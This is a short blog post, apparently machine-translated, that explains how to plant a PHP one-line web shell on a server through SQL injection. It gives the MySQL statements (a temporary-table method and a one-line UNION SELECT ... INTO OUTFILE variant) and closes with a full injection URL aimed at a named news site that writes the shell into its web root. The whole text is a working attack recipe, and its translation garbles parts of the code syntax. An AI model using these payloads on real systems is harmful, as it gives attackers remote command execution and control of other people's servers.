Leaf s blog
The SQL statements used in this article are roughly as follows (command line or other shell that can execute SQL commands ):
Drop table if exists temp; // Delete IF temp EXISTS
Create TABLE temp (cmd text not null); // Create a temp TABLE, which contains a cmd Field
Insert INTO temp (cmd) VALUES (<? Php eval ($ _ POST [cmd]) ;?> ); // Insert a Trojan into the temp table
Select cmd from temp into out file F:/wwwroot/eval. php; // query a sentence in the temp table and import the result to eval. php
Drop table if exists temp; // Delete temp (wipe ass o (wipe _ blank) o ...)
These SQL statements are very simple. I made a simple comment.
However, when testing php SQL vulnerabilities, we often use the following statements:
/**/Union select 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12 /*
Then, 1 ~ may appear in the returned page ~ A number between 12. Here we add the number 3 to display it.
If we change the above sentence to/**/union select, zerosoul, 12 /*, then, zerosoul is displayed in the last three places on the page.
That is to say, if the select statement is not followed by the from table statement, the number or character of the query will be directly returned to the query result.
In this case, why do we have to worry about creating a table, importing data first, and exporting data.
With this idea, the SQL code from the above section to a sentence can be directly simplified to one sentence:
Select <? Php eval ($ _ POST [cmd]);?> Into outfile F:/wwwroot/eval. php;
This is not only simple and clear, but also avoids accidental deletion of others' data.
As follows:
Add a successful test URL:
Http://www.bkjia.com/news.php? NewsID =-1 union Select <? Php eval ($ _ POST [cmd]);?>, 2 into outfile D:/wwwroot/eval. php /*